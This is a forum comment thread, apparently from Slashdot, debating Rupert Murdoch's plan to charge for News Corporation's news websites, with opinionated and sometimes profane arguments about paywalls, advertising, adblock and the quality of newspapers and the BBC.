Murdoch Says, "We'll Charge For All Our Sites"

Oracle Goddess writes "In what appears to be a carefully planned suicide, Rupert Murdoch announced that his media giant News Corporation Ltd intends to charge for all its news websites in a bid to lift revenues, as the transition towards online media permanently changes the advertising landscape. 'The digital revolution has opened many new and inexpensive methods of distribution, but it has not made content free. Accordingly we intend to charge for all our news websites,' Murdoch said."

Comments

Bye, bye.

[scotts13]

N/T

Re:Bye, bye.

[Goldberg's Pants]

Translation: "We have too much traffic on our websites so plans are in place to drop that volume of visitors dramatically."

Re:Bye, bye.

[Goldberg's Pants]

Oh yes, and I love how he says "news websites".

The day Fox start reporting actual NEWS is the day Satan goes to work in a snowplow.

Re:Bye, bye.

[ctmurray]

Doh.....

Re:Bye, bye.

[Fluffeh]

Translation: "We have too much traffic on our websites so plans are in place to drop that volume of visitors dramatically."

I think a better translation would be:
Steve (Assistant): Mr Murdoch, the Chief Financial Officer is looking at your numbers. He isn't happy at the moment.
Rupert: Well Steve, it's like this, We have this thing that makes us lots of money, but it's going up the clapper now, and we have this other thing, that no-one really understands here, and all the senior management executive reports show that if all of our customers payed for it, it would be grand, so lets do that. I am sure that the people on this interweb thing can afford it. Good job Steve, lets go out for a team lunch... Oh, also, Steve, can you download this internet for me? My kids say they can't download stuff at home cause it's too slow.
Steve: Ummm, sir? Download the internet?
Rupert: Yes! Download it, anything to stop my kids whinging when I come home.
Steve: Ummm, okay, sure.
Rupert: Great, also, can you schedule a meeting later with the board? I need to discuss how we will be investing all this new interweb money that we will be making.

Or something like that. Loads of people simply don't get the internet, I deal with them all the time here when I am presenting to senior management meetings. They know it's SOMETHING. They know that MONEY passes through it, they think that just because they do SOMETHING on this place with MONEY, they will make some of it themselves. It's the old-school business mentality coming head to head with something to revolutionary that many of the older chaps (as good at business as they are) simply don't comprehend or have enough smarts to make sense of. It's so vastly different to ANYTHING they have dealt with in the years they have been in business.

Re:Bye, bye.

[Rip Dick]

Mr. Plow is a loser, and I think he is a boozer.

Re:Bye, bye.

[Brian Gordon]

old-school business mentality coming head to head with something too revolutionary

You mean head to head with something too insane. What is the slashdot-supported model that he's too stupid to believe in? Would that be throwing billions of dollars overboard as youtube sinks to the bottom of profitability trying to stay free? Would that be Twitter, which currently sells no products, no paid services, and generally has no source of income at all?

Here's my model of the only possible internet. You pay for services, including downloading all content. That means paying the 10 euro/mo or whatever for rapidshare if you want to download free projects (unless they can get donated bandwidth from a university). Commercial projects can support their own bandwidth needs. If you want quality tech news, subscribe to Ars Technica - they're not going to just work for free.

Everything these days seems to be obsession with Free Free Free because there's some expection that selling advertising space is the best way to construct a stable world wide web. This is literally as absurd as paying for an expensive government program by selling advertising space in the WIC offices. OK yes that's income, but I don't want my premium services depending on that kind of funding.

Everyone clamoring for Free.. that's just not the way the world works. Toss em out -you wont need masses of readers anymore to support ad revenue- and let us pay you a fair price for the service you tender. Why would someone even think that they would make their newspapers available for free? Is this some kind of base assumption we run on that everything on the internet should be free and we just flush the bills down the toilet? What's happening is they incur cost producing Content and then they give it away for free. What kind of crazy business model is that, you make NO PROFIT. Strip off all this advertising crap. Charge for premium content. Turn the web into a real, competitive marketplace. We can dig deeper so only for actual content and services by the way.. I'm in the very very late stages before I fall asleep so none of this is probably legible. i;; see tomoreew

Re:Bye, bye.

[Jeremy Erwin]

The day Fox start reporting actual NEWS is the day Satan goes to work in a snowplow.

In Dante's Inferno Satan is trapped in a frozen lake, surrounded by traitors of all description.

Re:Bye, bye.

[phoomp]

old-school business mentality coming head to head with something too revolutionary

Everyone clamoring for Free.. that's just not the way the world works.

That's not the way the world works *currently*. But, prior to the last few years information *was* free; people only had to pay for distribution of that information (and, hence, the invention of the "newspaper"). Now, we have an insanely cheap technology for distribution and the old guard are trying to change the model to pay-for-information without anyone noticing.

Re:Bye, bye.

[MaskedSlacker]

Everyone clamoring for Free.. that's just not the way the world works. Toss em out -you wont need masses of readers anymore to support ad revenue- and let us pay you a fair price for the service you tender. Why would someone even think that they would make their newspapers available for free? Is this some kind of base assumption we run on that everything on the internet should be free and we just flush the bills down the toilet? What's happening is they incur cost producing Content and then they give it away for free. What kind of crazy business model is that, you make NO PROFIT. Strip off all this advertising crap. Charge for premium content. Turn the web into a real, competitive marketplace. We can dig deeper so only for actual content and services by the way

So what you're saying is that we should put you in the category of people that just don't get it?

I can't speak for anyone but myself but:

I don't expect newspapers to be available for free on the internet--at least I don't expect anything that resembles the sunday print edition of the NYT to be there for free. The problem is that there is no effective way to charge for them the way there is for physical newspapers. Sure you can do authenticated logins and accounts--but all you've done is made electronic versions of the old way of doing it, and nothing has changed then. In fact, it is a step backwards for the flow of information if you could actually make that work--no more borrowing the paper from the guy in the next cubicle. So what you seem to be advocating is a move to a world with even less freedom of information than we had two decades ago.

The internet is designed to move information from place to place as cheaply as possible. Trying to artificially inflate the price won't work. We can't make computers that aren't good at copying information (they wouldn't be computers then).

I don't know what business model they should come up with. There might not be one, period. Oh well. There wasn't one before the printing press either. Technology giveth, and technology taketh away. Buggy makes don't have a business model anymore, neither do the people who made player-piano rolls. Nor flint-lock manufacturers. There's a ton of Benedictian monks out of work thanks to the printing press. Just try finding someone to make a good Roman piss-pot for you these days.

What I don't understand is why you think it is a bad thing that this might happen. The de-corporatization of news media is the BEST possible thing that could happen to this country right now. We should not be looking for ways to preserve corporate control of information.

Re:Bye, bye.

[Gerzel]

Not necessarily.

Really a charge for web news does need to eventually be levied. If it isn't connected the reporters are not paid if the reporters are not paid then the ad writers will take their place, as is happening now. In the end someone does have to get paid for doing news reporting in order for it to be done at anything approaching a reasonable level. Sure there are some small scale sources that do it for free but the argument that any news worthy event will be reported by the guy at his laptop is laughable, especially as many news-worthy events involve the destruction and detention of guys with said laptops. Also the training and rigor a profesional journalist provides is nessasary and needs to be paid for.

That said if people are paying for content then they may very well be more likely to pay attention to just how good that content is, and may shift to a slightly different position from being simple grazing cattle. Not far mind you but it might be a shift none-the-less.

Re:Bye, bye.

[Crimsonjade]

Everything these days seems to be obsession with Free Free Free because there's some expection that selling advertising space is the best way to construct a stable world wide web.

I don't think the main concern is a stable web. The concern for most companies is how to generate profit. Plenty of companies have proved that providing free content with advertisements is a viable business model. I don't think many rational people are arguing it works for every facet of business on the internet though. The competition in the marketplace is main force that is driving these services to be free. If a service like Twitter started charging, another company would quickly offer the same service for free. As a consumer, I like this. I don't really care if someone cannot figure out a way to make money off of Twitter. I want the most benefit for the least cost. Getting the most benefit does not always mean free though. I choose to pay Google to provide their email client for a small business. There are plenty of free email clients, but I think GMail is worth the cost. When the services you mention start giving some sort of benefit over the competition, then they can start charging consumers.

Re:Bye, bye.

[Fallen Seraph]

Yes, but he's trapped in said lake, so he never has to go to work :P

Re:Bye, bye.

[afidel]

An informed citizenry is essential for a healthy democracy. Killing the newspapers is going to make the average person less likely to be informed, both nationally but especially locally. Think about it, what is the likelyhood that every community will have some citizen blogger covering the courthouse, the city council meetings, the school board meetings, etc. These are all things that local papers cover quite well. The founding fathers believed in it so much that they used 90% of the revenue of the US Post to subsidize the delivery of newspapers.

Re:Bye, bye.

[afidel]

The most obvious model is freemium, ie giving away content to 90+% of your visitors in order to attract the rest who find some premium content you hold back enticing enough to pay for. The Wallstreet Journal has been quite successful at it. The problem with that model is obviously how does your podunk enquirer build enough quality content to put behind the paywall? Put another way, in the internet age what makes your local paper special enough to survive?

Re:Bye, bye.

[plaxion]

Hope I'm not giving away the ending of the first part for anyone, but... the lake you mention is frozen by the beating of Satan's wings. Other parts of the inferno are plenty hot depending upon the punishment, as in the case of the sodomites wandering on the burning sand with flames falling on them like rain.

Oh, and since I'm on a roll, Snape kills Dumbledor ;)

Re:Bye, bye.

[HeronBlademaster]

Killing the newspapers is going to make the average person less likely to be informed, both nationally but especially locally.

Two rhetorical questions for you.

1) Do you think it's more likely that the average American gets his or her news from newspapers, or from television?
2) What percentage of news stories do you think the average newspaper subscriber reads?

The last time a paperboy came by my apartment asking me to "subscribe" to an ad-supported paper - that is, receive the paper for free - I said "No, thank you, I can get better news online, and I don't have to find a recycling bin for it."

My neighbor (also a computer programmer) quizzed the same paperboy about the features provided by a newspaper. "Does it update automatically, all day, with new relevant facts? Does it show me only the stories I'm interested in? Does it keep track of which stories I've read and which I haven't?" And so on and so forth.

You know, if newspapers disappeared tomorrow, then a few years from now, I really don't think America would miss them very much.

Re:Bye, bye.

[Anonymous Coward]

LOL,

Look! someone who doesn't get it!

Hey big media mogul, Here's a FREE clue, WE DON'T NEED YOU ANYMORE.

Fuck off and take your shareholders and bonus structure with you.
We can (obviously) generate our own content, we sure as hell aren't going to BUY the same old crap from you that you are trying to shove down our necks already.

The Newspaper thing was great when you had the MONOPOLY on the collection, presentation and distribution of news.
Sadly for you that's no longer the way it is.

Besides, you all stopped doing the job you we expected you to do (and greatly valued I might add) when you became the people that echo press releases instead of being the people that call BULLSHIT when it's offered.

No, you deserve to die. Truly, something better will rise from your ashes.

Re:Bye, bye.

[Fluffeh]

Everyone clamoring for Free.. that's just not the way the world works. Toss em out -you wont need masses of readers anymore to support ad revenue- and let us pay you a fair price for the service you tender. Why would someone even think that they would make their newspapers available for free? Is this some kind of base assumption we run on that everything on the internet should be free and we just flush the bills down the toilet? What's happening is they incur cost producing Content and then they give it away for free. What kind of crazy business model is that, you make NO PROFIT. Strip off all this advertising crap. Charge for premium content. Turn the web into a real, competitive marketplace. We can dig deeper so only for actual content and services by the way

You missed my point totally mate. When I buy a newspaper, I am paying for someone to chop down trees, someone to make ink, someone to run huge sheets of paper through huge machines that print on them, then fold them, then deliver them to newsagents, and each person has to make a dollar.

That's fine. Well, actually it's NOT. I stopped buying newspapers a long time ago because I found that I was only interested in one or two stories in an entire newspaper. Those one or two stories were generally covered online by the sites that I visit on a regular basis. So, I stopped buying newspapers. I am one of the people that falls into the stopped buying newspapers, turned to the internet group.

What Mr Rupert seems to be totally MISSING which is the point I am making is that should he put the SAME content on the internet that he puts into the printed version, I am STILL NOT INTERESTED in paying for it. Possibly less so.

Just because I stopped buying a newspaper and get things off the net doesn't mean I will start buying a newspaper just because it's available online.

What compounds this even more is that he is investing probably millions of dollars into a multi-billion dollar business and he seems to be missing this simple point.

Do I expect a whole newspaper of content for free online in one place with no ads? Nope.
Can I always get the two or three things I am interested in from either sites like Slashdot for free in the detail that I want? Yes.

I think a lot of newspapers and media that previously sold very large volumes better start telling shareholders that they are going to face a serious decline in readership and profits due to the availability of small snippets of information on the internet. The glory days of ALL PRINT MEDIA are GONE. Finished. They won't be reborn with a new fee on a website.

Now do you get it?

Re:Bye, bye.

[MaskedSlacker]

An informed citizenry is essential for a healthy democracy. Killing the newspapers is going to make the average person less likely to be informed, both nationally but especially locally. Think about it, what is the likelyhood that every community will have some citizen blogger covering the courthouse, the city council meetings, the school board meetings, etc. These are all things that local papers cover quite well. The founding fathers believed in it so much that they used 90% of the revenue of the US Post to subsidize the delivery of newspapers.

Codswallop. Well, not the last bit, but that was two centuries ago. The volunteer fire brigade and volunteer militia were also essential then. They aren't now.

You far overestimate the value newspapers have been providing for the last decade or two. You have confused what newspapers COULD do, with what they ACTUALLY do.

Exhibit A: Fox News.

And the general low quality of newspapers and other outlets is beside the point. Not nearly as many people read them as you think. If the average American relied on newspapers the way you think they do, the newspapers wouldn't be going out of business. As you say, "Think about it."

The fact is that newspapers are NOT necessary for anything you describe.

Moreover, the majority of Americans do not use newspapers in any such fashion, even if they were. "Think about it." In the average national election, where people are bombarded by television ads, constant television news coverage, people knocking on their doors to tell them the good news about Candidate Z, what is the turnout rate for registered voters?

The MAJORITY of Americans don't even bother to vote at all. Even if a majority of the minority that do fit your fairy tale of how you think newspapers benefit them, still, it isn't true for the MAJORITY. Most Americans would never notice. Think about it.

Re:Bye, bye.

[noundi]

Translation: "We have too much traffic on our websites so plans are in place to drop that volume of visitors dramatically."

Good, because I'm sick and tired of only having "mass appealing" news to read. Bullshit stories that only attract visitors, looking for something "astonishing", in order to gain ad exposure. News today is free for one reason, because it's fucking worthless. If someone is able to provide a proper news service, yet to be seen since the internet era, with proper journalists I would be happy to pay for the service. But to pay for bullshit headlines and ridiculous stories, no thank you.

Re:Bye, bye.

[xalorous]

We have a janitorial position available, if you're still looking....

Re:Bye, bye.

[Lord Bitman]

Real Translation: "We don't have enough traffic to make money with our website. Oh, I know the perfect solution!"

Re:Bye, bye.

[rtb61]

Currently I get mu news from multiple sources, normally at least 10 with emails from 3, add to that ugh stumbleupon and even this site http://www.newspapers24.com/ (12,000 sources). So what they envisaging subscriptions to all of them, oh yeah, like that's going to happen. There is absolutely zero chance that I will pay for any news subscription, specifically because I do not and will not be tied down to one or two corporate for extreme profit, advertising as news site.

Hate to burst Rupert's bubble but typical mass media sites have very low reliability when it comes to the truth, and Murdoch's news sites represent some of the biggest most disingenuous and fraudulent liars, who not only distort the news but they also fabricate and hide the news.

What Rupert Murdoch is really saying is that his lawyers will be going on the offensive, so watch those links, content extracts and even quotes from Fox sites, they even want to be able to charge access to their B$ commentators.

Interestingly enough my two favourite news sites are http://www.bbc.co.uk/ and http://www.abc.net.au/, so bwah hah hah hah (they both have already been paid for). As for Fox news http://www.fauxnewschannel.com/ is the only version I bother with and, I even rate M$'s MSN sites and their associated sites, way, way ahead of anything associated with - not really - "News Corp" (the corporate equivalent of the Soviet version of Pravda).

Re:Bye, bye.

[xalorous]

Ad supported with pay to remove ads is one way to survive. Tech websites with good reputations, earned while free, have started charging membership fees. I'm all for both models.

Pay for News? Not while Google is free.

Re:Bye, bye.

[theshowmecanuck]

I know Firefox isn't the most popular browser out there by a long shot (I myself use it), the onset of ad blocking technology like adblock plus means a move like this doesn't surprise me much. It costs money to field professional reporters (queue suitable Fox News Network sarcasm) and no matter what the news organization, this is not cheap. These organizations need to make money in order to create reputable news reports. I'm sorry, but blogs don't do much for me as sources of news. Bloggers answer to no-one but themselves so there is no guarantee of veracity from them. Anyway, the bottom line is that without money we can't have believable news. If we start choking off advertising revenue, they have to do something to get money rolling in. I will grant you that this is likely not as much of an issue currently as it will be in future if the ad blocking craze continues. I will admit, I use adblock plus, but wouldn't if the marketers would stop making the online ads so bloody annoying, or at least give us the choice whether we wanted to have static ads, or be smacked in the face hard enough to shock neurologically normal individuals into epileptic fits. I think many people likely feel this way, so I will deflect all accusations of being hypocritical by blaming my adblock plus installation on flash crazed marketers (very similar to zombies but the survive on sushi and unpronounceable foreign beer instead of brains).

Re:Bye, bye.

[pjt33]

Fox may not deal in news, but the Times (or, for non-Brits, the London Times) is a serious newspaper, and has a well-implemented website. I will be sad to have to find an alternative.

Re:Bye, bye.

[PDX]

http://www.snopes.com/college/exam/hell.asp
According to some hell has already frozen over and can't accept any more fallen priests.
To get back on topic. My question is when is the sale of all of their electronic equipment going up for sale on Ebay.com?
SCO imploded about 2 years after litigation ceased. Is Murdock going to prop up his share price with his own wealth? Or do we see the beginnings of another bailout?
   

Re:Bye, bye.

[Kulfaangaren!]

In Chernobyl ? ... Free Duff beer part of the benefit package ?

Re:Bye, bye.

[ben0207]

Your neighbour sounds like a dick.

He's only a delivery boy, give him a break!

Re:Bye, bye.

[teh kurisu]

Now, we have an insanely cheap technology for distribution and the old guard are trying to change the model to pay-for-information without anyone noticing.

We also have things like adblock which we didn't have before. Information was never free-as-in-beer; it had to be paid for by advertising, and advertisers have to see a return on their investment in advertising space.

Given that advertising revenues are falling, businesses have to consider alternative business models.

Re:Bye, bye.

[Registered Coward v2]

I don't expect newspapers to be available for free on the internet--at least I don't expect anything that resembles the sunday print edition of the NYT to be there for free. The problem is that there is no effective way to charge for them the way there is for physical newspapers. Sure you can do authenticated logins and accounts--but all you've done is made electronic versions of the old way of doing it, and nothing has changed then. In fact, it is a step backwards for the flow of information if you could actually make that work--no more borrowing the paper from the guy in the next cubicle. So what you seem to be advocating is a move to a world with even less freedom of information than we had two decades ago.

Another way is for the ISP's to bundle access to pay websites with internet access - and maybe offer tiers of access; similar to cable.

You've also pointed out one problem with electronic distribution - it's less convenient to share; I can't give my electronic WSJ to a friend or share it with someone, it's tied to me and my compute.

The internet is designed to move information from place to place as cheaply as possible. Trying to artificially inflate the price won't work. We can't make computers that aren't good at copying information (they wouldn't be computers then).I don't know what business model they should come up with. There might not be one, period. Oh well. There wasn't one before the printing press either.

You are correct in pointing out that the internet is merely a distribution system, and just like the printing press changed how news was distributed which gave rise to the concept of the "press" as a profession. As people became more literate, newstands and corner newspapers replaced the town criers as the source of information. The distribution system is separate from the content; but it does not replace the underlying service provided. While a cheaper distribution system lessens part of the costs it doesn't remove the cost of producing the content.

Prior to the printing press news was collected and recorded by hand and only the wealthy could afford hard copies; that business model evolved as mass production became easier and more people were capable of reading.

Technology giveth, and technology taketh away. Buggy makes don't have a business model anymore, neither do the people who made player-piano rolls. Nor flint-lock manufacturers. There's a ton of Benedictian monks out of work thanks to the printing press. Just try finding someone to make a good Roman piss-pot for you these days.

In each case, technology created a new way of accomplishing the same fundamental tasks as cars replaced buggies, the gramophone replaced the player piano, and repeating rifle replaced the flintlock. People still pay for the new technology because it fulfills a need.

The Benedictines did not cease to exist; they moved on to other things.

For some reason, people assume the new technology is a game changer and the old rules no longer apply; while technology certainly changes the environment and gives rise to many new ways of doing things; it's still the old needs and desires being satisfied in a different way.

What I don't understand is why you think it is a bad thing that this might happen. The de-corporatization of news media is the BEST possible thing that could happen to this country right now. We should not be looking for ways to preserve corporate control of information.

The problem is not with the corporations being replaced; it's that the essential function of a news gathering organization - reporting facts and providing informed commentary - is being replaced with a vast sea of information of greatly varying amounts of accuracy and that is often designed to push a certain POV and as such ignores anything that does not agree to that POV.

As a result, the value of that information has dropped dramatically an

Re:Bye, bye.

[Opportunist]

The reason this "works" is what I dubbed the "inverse pyramid scheme".

Everyone starts up something in hopes of turning it into money at some day. It's a bit like the underwear gnomes business idea. Step two is usually "hope someone buys it". Some will make it through the first year and be bought up, some won't. But there's no shortage of others who try.

Essentially, the machine keeps going as long as new players enter the market, offer something for free in the hope that they'll eventually be able to sell it.

For-cash is always in a harder market position than for-free. Especially if there's plenty of for-free places to go around. Why should I pay for X if I can get X for free (provided all other factors are the same)? Sure, the X-for-free business model is most likely not viable. But do not worry. Someone will come along and offer X for free again before your current supplyer of X for free falters.

Why someone does it and believes it will be profitable one day is beyond me. But as long as people exist that have faith in this system, you will continue to see services being offered for free, those free services will be more attractive.

Re:Bye, bye.

[OrangeTide]

Well he did say "My neighbor (also a computer programmer)".

Re:Bye, bye.

[Starayo]

Maybe they should do some research into ads that don't make me want to kick puppies.

Re:Bye, bye.

[jonbryce]

http://www.telegraph.co.uk/ should do the job

Re:Bye, bye.

[gkai]

Only the pipe infrastructure providing the bandwidth really has to be paid, and guess what? I pay my ISP...

For the information, sure, professional wants you to pay for it...but a lot of hobbyist are willing to provide it free, and the beauty of internet is that, when you connect enough people together, you are sure to find an obsessed hobbyist for almost any subject, that is very happy to rant about his hobby and drown you in information just for the fun of it. And the info is often equivalent, if not better than what you can get if you pay for it.

Why?

Well, partly because many of those hobbyist are the same clever people that work for the commercial organisation that want you pay for this info, in fact THEY answer the question (or put the info in a DB), once you remove all the PHB and office monkeys that act as intermediaries. OR, as often, because clever people have other center of interests than what they do for a living, but are as skilled in what they do for fun as in what they are paid to do.

Sure it is annoying to answer questions constantly, but because one answer takes one unit of your time but provide the info to potentially a huge number of people, it is enough that informed people answer when they feel like it to get the system rolling.

I act as an expert, for free, on forums/newsgroup sometimes, but I do not spend much time doing that. It is so easy to do that I would not even think asking money for it...On the other hand I get a huge amount of info from a lot of people doing exactly like me. Would I pay for this information? Never, I pay already by providing MY own informations...

Thats what happen when you connect a lot of experts/hobbyists together without human intermediaries: no way for intellectual parasites to steal ...well, at least not as much as they did before. I will not cry about their lost revenue...

 

Re:Bye, bye.

[pjt33]

Compare that with The Times. The Telegraph is using a print newspaper column layout, which I find unsuited to a browser window with a scrollbar. With the Times I can read down a single column, opening new tabs for stories I find interesting, and then scan up the sidebar as I scroll back to the top. With the Telegraph, and most other newspaper sites I've seen, I have to do a lot more work to track which sections I've scanned for interesting stories.

The column approach works for print because I can fit the whole page in my field of view and there are only a few stories per page anyway. For web it's too cluttered.

Re:Bye, bye.

[kingturkey]

News Corp also owns The Australian, really the only national newspaper and also the Courier Mail, the only real daily in Queensland (my state), so I've pretty much no alternative.

Re:Bye, bye.

[autora]

Your ideas are intriguing to me and I wish to subscribe to your newsletter.

Re:Bye, bye.

[Nikker]

This type of argument that people who are willing to do something for nothing is going to kill off everything is a joke. No one has ever stopped anyone from putting a login and price on their site. The funny thing is I have such a hard time believing the stuff that all these moguls are throwing at me, it actually is worth my time to sift through multiple accounts of something before I start to really understand it. We have reached the point to move on.

With all the money these companies have they could come up with something can't they? Have they been missed an opportunity? Has anyone sat them down in front of a computer and showed them the internet? Who ever wants to make a profit is and always has been free to put a price on anything they want, what's stopping them or you for that matter? Have you ever thought that they are not producing something people want to buy?

You might say getting the news for free is starving some but they have stopped producing something I want to buy into. I actually find myself fortunate because now we can start getting the raw information straight from the source.

Their dollar signs will ring their necks, I'm just here for the show.

Re:Bye, bye.

[Ifni]

Or find a way to profit by having puppies get kicked. Outside the box thinking is what it's all about.

Re:Bye, bye.

[AmiMoJo]

I think they probably have a very old fashioned view of advertising, based on print media where advertisers pay a large sum of money to get in X hundred thousand copies of the paper up front. On the internets, you pay a very small sum per page view or per click, so you pay based on actual performance rather than the paper's own marketing hype.

All that has happened here is that they have lost a price war. Murdoch was selling The Sun for 10p (~ $0.07) at one time, relying on advertising to make a profit. Now he has been undersold by websites charging 0p, and is upset about it. There is probably also a degree of people reading more impartial news sites such as the BBC's, which makes them realise how extreme his papers are.

Re:Bye, bye.

[Bert64]

Yes, the only time i ever read the newspaper, is the free one available on the (underground) train to work... There's no network access down in the tunnels so the paper provides a good snapshot to read... On the other hand, the used papers always end up making a mess as people drop them on the floor, even worse when it's raining because they turn to mush.

Re:Bye, bye.

[AmiMoJo]

Your argument does not address the one important factor that will keep good news sources alive - quality. Sure, any random blogger or independent journalist can write about the news, but newspapers and large news sites don't just publish news, they edit and check it (at least in theory).

Take Slashdot, for example. The stories are submitted by non-journalists and checked/edited by non-journalists, and the result is many a biased headline or summary. Sometimes they are downright misleading. At least with the BBC you can be reasonably sure they checked their facts and tried to present it in a more or less neutral way.

The problem Murdoch has is that his papers are not much better than the random blogger, or maybe even worse as they systematically distort the truth. People are cottoning on to this and can now easily seek out better news sources.

Re:Bye, bye.

[MadLad]

If you think you'll be able to get over the withdrawal symptoms of kicking your News Corp dripfeed, you could always try

http://www.guardian.co.uk/

Re:Bye, bye.

[Bert64]

As you point out, bloggers are answerable to noone and will give their own opinions...
But for-profit companies are answerable to their profit margins, and will report whatever makes them the most profit - including running paid advertising dressed up as news, which happens far too often these days. You have just as little guarantee of quality from a major news agency.

Very few sources of information are truly impartial, it makes sense to read multiple sources anyway, and paying for content will make that very expensive.

Re:Bye, bye.

[MaskedSlacker]

Your argument does not address the one important factor that will keep good news sources alive - quality. Sure, any random blogger or independent journalist can write about the news, but newspapers and large news sites don't just publish news, they edit and check it (at least in theory).

No they don't, and if you think they do you are living in a fairy tale. Time and time again over the last decade it has been made clear that they do not do this. They quote wikipedia in their articles, take corporate/political press releases at face value/unquestioningly, and get humiliated by prank sources (looking at you Dan Rather).

Take Slashdot, for example. The stories are submitted by non-journalists and checked/edited by non-journalists, and the result is many a biased headline or summary

Yup. And in my experience it's still higher quality than any newspaper article. I have NEVER seen an accurate newspaper article on a subject I was conversant in. Not once. Which leads me to believe they're equally worthless on subjects I'm not conversant in as well.

Journalists are rarely qualified to understand the subjects they report on, so journalism is little more than the ability to write pyramid-style articles that fit the column width and stick to a 'so-and-so said.....' formula. The only thing you can trust is that so-and-so said that, and that is on a good day.

At least with the BBC you can be reasonably sure they checked their facts and tried to present it in a more or less neutral way.

Again, only if you're living in a fantasy.

The problem Murdoch has is that his papers are not much better than the random blogger, or maybe even worse as they systematically distort the truth. People are cottoning on to this and can now easily seek out better news sources.

Murdoch's papers are not any worse than the average.

Your post is EXACTLY part of the problem, IMO. If people didn't have this bullshit hallucination that Old Media actually does anything of value anymore, we'd be a lot better off. Seriously, listening to people delude themselves with this crap--it's like there's a cult of Isis or something--it's that anachronistic.

Re:Bye, bye.

[MaskedSlacker]

Another way is for the ISP's to bundle access to pay websites with internet access - and maybe offer tiers of access; similar to cable.

That thought occurred to me as I was writing my post. I dislike it for a number of a reasons (anti-trust/competition ones mostly), but concede that it may be a 'least unpleasant' scenario.

The problem is not with the corporations being replaced; it's that the essential function of a news gathering organization - reporting facts and providing informed commentary - is being replaced with a vast sea of information of greatly varying amounts of accuracy and that is often designed to push a certain POV and as such ignores anything that does not agree to that POV.

This is where I think you are dead wrong. People have this fairy tale fantasy of what they think newspapers are, and its bullshit. If we've learned anything over the last decade, it should have been that journalists are incompetent hacks. More accurately, what I mean is that the skills current journalists are trained in are abso-fucking-lutely worthless if you want any of the the virtues you just listed. The whole system needs to die if we're going to get trustworthy media again. Propping it up against changing technology is not the answer, and will not help anything.

The corporate news rooms DO NOT DO THE ESSENTIAL FUNCTIONS OF NEWS GATHERING. Not in any meaningful, useful fashion. They generate infotainment for ratings. They are trained in that one pursuit, and as such no longer possess the skills to do socially useful work. This is why most newspapers are nothing more than regurgitated press releases, AP feeds, and fluff pieces. Reporters who bother to type their own stuff any more get caught plagiarising wikipedia (which is wrong on at least two levels), simply report 'he said,' 'she said' without any insight or analysis of the issue at hand, and get embarassed by prank sources (looking at you Dan Rather).

Further, I object to your claim that "respectable" news media aren't pushing their own POVs and ignoring anything that doesn't fit--or are you seriously going to tell me with a straight face that 24 hour coverage of Michael Jackson's death was socially valuable, and anything other than the news organizations pushing their agenda (ratings and advertising dollars) at the expense of the public good?

Re:Bye, bye.

[h4rm0ny]

There's also The Independent. It has a nice level of coverage with about the right depth and breadth for me. For that reason, I prefer it to the Guardian which also has a bit more of an axe to grind sometimes. But the Independent has gone downhill quite a bit over the last two years, showing an increasing agenda and bias. The commemorative Obama poster was pretty much the last straw for me, causing me to change from buying it every weekday to only when it has some interesting stories or columns (about 4 times a month).

Re:Bye, bye.

[AmiMoJo]

No they don't, and if you think they do you are living in a fairy tale. Time and time again over the last decade it has been made clear that they do not do this. They quote wikipedia in their articles, take corporate/political press releases at face value/unquestioningly, and get humiliated by prank sources (looking at you Dan Rather).

That's why I said "at least in theory". Sure, it does not always happen in practice, but at least here in the UK the BBC and some of the more reputable papers are generally accurate. Sure, they mix in a lot of opinion and sometimes get it wrong, but the better ones certainly do not just re-print press releases.

Maybe things are much worse in the US, I don't know.

I have NEVER seen an accurate newspaper article on a subject I was conversant in.

Maybe you are reading the wrong newspapers?

You suggest that the BBC does not check it's facts. Can you cite a specific example of this?

Re:Bye, bye.

[cfa22]

In Mr. Deity, Satan is a hot chick.

Re:Bye, bye.

[rawls]

The torygraph is _not_ equivalent to the Times.

Re:Bye, bye.

[commodore64_love]

The day ABC, CBS, CNN, and NBC start reporting actual NEWS instead of pro-big government bias, is the day Satan goes to work in a snowplow.

Fixed that for you.

These organizations have all been biased towards more government for the last 60 years. At least now FOX provides the alternate "we need less government" viewpoint.

Re:Bye, bye.

[commodore64_love]

>>>An informed citizenry is essential for a healthy democracy.

And having newspapers that are controlled by a wealthy megacorp oligarchy is the exact opposite of that. News is better when it's controlled by tens of thousands of independent individuals, each providing a different viewpoint, than when it's controlled centrally.

Re:Bye, bye.

[Blue Stone]

>the Times (or, for non-Brits, the London Times) is a serious newspaper

This would be the newspaper that claimed public interest in revealing the identity of the anonymous police blogger, stopping his inside information from seeing the light of day and reaching the public, yes?

The Times at one time was not owned by Murdoch. It was a serious newspaper. He bought it and the rot began.

Re:Bye, bye.

[Muad'Dave]

His natural body heat gives him the edge in melting the really icy areas.

Of course he does burn up an awful lot of expensive snowplow seats and steering wheels.

Re:Bye, bye.

[kingturkey]

Where is this magical place where you find self-generated free news that is of a worthwhile standard and provides coverage of global events? I hear about it all the time but I've never seen it.

I'd honestly like to know, can you provide a link to a site that has (non-tech) news that isn't created by a newspaper or television, etc company. That obviously doesn't include a blog that includes links to sporadic articles that happen to appeal to the author on real news sites; I mean a site where you can go and get a large selection of current news in full. I don't believe it exists.

Re:Bye, bye.

[Saint Fnordius]

Actually, I think Salon's doing pretty good with their model, and Talking Points Memo is also turning a modest profit. The thing is, you won't make a huge profit with this model and THAT's what Rupert Murdoch doesn't understand. What he also doesn't seem to understand is that none of his offerings are "must-have", and hiding behind a paywall leaves him at a disadvantage when it comes to which news report all the bloggers will link to. That means no more steering eyeballs to his sites.

I think news will fall more and more into the donation model, much like many blogs are run. This means the end of the era as far as getting rich off of news goes, as currencies other than money eventually become important.

Re:Bye, bye.

[thisnamestoolong]

The only (well, biggest) problem with what you are saying here is that newspapers are more or less giving you the paper "free", in that the subscription cost barely covers the cost to print the paper and deliver it to you. They don't make their money on subscriptions now, the newspaper industry, even in its dead tree form, is an ad supported industry! Bandwidth is much cheaper than printing presses, trucks, and delivery boys, so it would stand to reason that the "subscription" would drop considerably, from its already very low (and not profitable) price. This makes free a very reasonable price.

What's happening is they incur cost producing Content and then they give it away for free. What kind of crazy business model is that, you make NO PROFIT.

Sorry, but you are wrong. There are a great many sites on the Internet that have shown that you CAN make a profit with free, ad supported content. It actually stands to reason in a lot of cases that ad supported content will bring more revenue than subscription, as these companies will be lucky to see 2% of their online customers willing to pay a subscription when they can get the SAME news elsewhere for free. As I mentioned before, the News is ALREADY presented to us as ad supported free content, newspaper subscriptions cover printing and delivery costs, and all the news is already on the TV and radio for free. Why is this such a difficult concept for people to grasp? Putting up a paywall on your site only guarantees that people will go elsewhere, and it is suicide.

Re:Bye, bye.

[Scratch-O-Matic]

